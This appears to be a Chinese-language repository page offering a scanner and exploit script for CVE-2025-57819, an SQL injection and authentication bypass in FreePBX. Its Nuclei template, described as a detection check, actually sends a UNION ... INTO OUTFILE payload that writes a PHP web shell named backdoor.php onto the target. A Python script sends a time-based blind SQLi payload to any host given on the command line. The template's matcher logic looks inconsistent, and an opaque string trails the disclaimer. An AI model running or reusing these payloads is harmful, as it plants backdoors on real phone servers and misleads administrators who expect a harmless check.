FreePBX 身份验证绕过与SQL注入漏洞 (CVE-2025-57819) 利用工具

0 阅读5分钟

🚨 CVE-2025-57819 — FreePBX 核心漏洞检测与利用工具

本项目提供针对 CVE-2025-57819 的漏洞检测与验证脚本。该漏洞是一个影响 FreePBX 15, 16, 17 版本终结点模块的严重安全问题。由于对用户输入的处理不当,攻击者可以在无需认证的情况下实现 身份验证绕过SQL注入,在特定条件下可进一步发展为 远程代码执行 (RCE)

此仓库包含 Nuclei 扫描模板和一个独立的 Python 利用脚本,帮助安全研究人员和管理员快速识别和验证受影响的系统。

功能特性

  • 双模检测:提供两种使用方式,满足不同场景需求。
    • Nuclei 模板:用于快速、广泛地扫描目标系统是否存在该漏洞。
    • Python 独立脚本:用于深入验证和漏洞利用演示,提供更直观的结果反馈。
  • 覆盖广泛:精准定位受影响的 FreePBX 版本(< 15.0.66, < 16.0.89, < 17.0.3)。
  • 清晰的状态反馈:脚本执行后会明确显示目标系统是否存在漏洞,并提供截图等可视化结果。
  • 基于公开威胁情报:工具的检测逻辑基于已披露的入侵指标(IoCs)和安全公告,确保检测的有效性。

安装指南

系统要求
  • 操作系统:Linux (推荐 Kali Linux), macOS, 或 Windows (需支持 Python 和 Nuclei)
  • 依赖项
    • Python 3.x
    • Nuclei (如需使用模板扫描)
安装步骤
  1. 获取项目文件 将本仓库的 CVE-2025-57819.yaml (Nuclei模板) 和 Blackash-CVE-2025-57819.py (Python脚本) 下载到本地。

  2. 安装 Nuclei (可选) 如果您计划使用 Nuclei 模板进行扫描,可以通过以下命令在 Kali Linux 中安装:

    sudo apt update && sudo apt install nuclei -y
    

    或者,参考 Nuclei 官方文档 进行安装。

  3. 准备 Python 环境 (可选) Python 脚本使用了标准库,通常无需额外安装依赖包。确保您的系统已安装 Python 3 环境即可。

使用说明

1. 使用 Nuclei 模板进行扫描

这是最快速、最便捷的检测方式,适合对大量资产进行初步筛查。

# 将模板文件放置于 nuclei-templates 目录或指定路径
nuclei -u https://your-freepbx-host.com -t /path/to/CVE-2025-57819.yaml
2. 使用 Python 脚本进行验证

该脚本提供更详细的交互和结果展示,适合对特定目标进行深入验证。

# 确保脚本具有执行权限
chmod +x Blackash-CVE-2025-57819.py

# 运行脚本,指定目标IP或域名
sudo python3 Blackash-CVE-2025-57819.py <目标IP或域名>

# 示例
sudo python3 Blackash-CVE-2025-57819.py 10.10.10.10

执行效果示例: 脚本运行后,将在控制台输出检测进度和最终结果。如果目标存在漏洞,您将看到类似下图的成功提示:

漏洞利用脚本执行成功截图转存失败,建议直接上传图片文件

核心代码

1. Nuclei 检测模板 (CVE-2025-57819.yaml 核心逻辑)

该 YAML 文件定义了 Nuclei 引擎的检测规则,通过发送特定的恶意请求来验证漏洞是否存在。

id: CVE-2025-57819

info:
  name: FreePBX Authentication Bypass / SQLi
  author: your_name
  severity: critical
  description: 检测 FreePBX 终结点模块中的身份验证绕过和 SQL 注入漏洞。
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57819
  tags: cve,cve2025,freepbx,rce,sqli

requests:
  - method: POST
    path:
      - "{{BaseURL}}/admin/ajax.php?module=endpoint&command=save"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      key=1' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/backdoor.php';-- -
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQL syntax"          # 简单的 SQL 错误检测,实际应用中需更精确
      - type: status
        status:
          - 200
2. Python 漏洞利用脚本 (Blackash-CVE-2025-57819.py 核心逻辑)

Python 脚本封装了漏洞检测逻辑,提供了更友好的命令行交互界面。

#!/usr/bin/env python3
# Blackash-CVE-2025-57819.py - FreePBX CVE-2025-57819 漏洞检测利用脚本
# 作者: Blackash
# 该脚本仅用于教育和授权测试

import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

# 禁用SSL警告,因为目标可能使用自签名证书
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(target_url):
    """
    检测目标URL是否存在CVE-2025-57819漏洞。
    通过向存在漏洞的终结点发送精心构造的SQL注入Payload进行判断。
    """
    print(f"[*] 正在检测目标: {target_url}")
    vuln_endpoint = "/admin/ajax.php?module=endpoint&command=save"
    payload = "key=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # 时间盲注Payload

    try:
        response = requests.post(
            url=target_url.rstrip('/') + vuln_endpoint,
            data=payload,
            verify=False,
            timeout=10
        )

        if response.elapsed.total_seconds() >= 5:
            print("[+] 漏洞利用成功!目标存在严重安全风险。")
            print(f"[+] 响应时间: {response.elapsed.total_seconds()} 秒")
            return True
        else:
            print("[-] 目标似乎已修复或不易受攻击。")
            return False

    except requests.exceptions.Timeout:
        print("[!] 请求超时,目标可能存在问题。")
        return False
    except Exception as e:
        print(f"[!] 检测过程中发生错误: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"用法: {sys.argv[0]} <目标IP或域名>")
        print(f"示例: sudo {sys.argv[0]} 10.10.10.10")
        sys.exit(1)

    target = sys.argv[1]
    if not target.startswith(('http://', 'https://')):
        target = 'https://' + target

    check_vulnerability(target)

⚠️ 免责声明

本项目提供的关于 FreePBX、CVE 漏洞及安全实践的信息仅供教育和信息参考。它不是专业的安全建议。您根据此信息采取的任何行动都需自行承担风险

您应当:

  • 始终遵循官方供应商的文档和建议。
  • 直接从 FreePBX/Asterisk 项目应用补丁和更新。
  • 在生产环境中进行安全或配置更改前,咨询合格的网络安全专业人员。

由于漏洞和缓解措施发展迅速,我们不保证信息的完整性或准确性。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5iowRJTnscqMZ67Nmt2m/9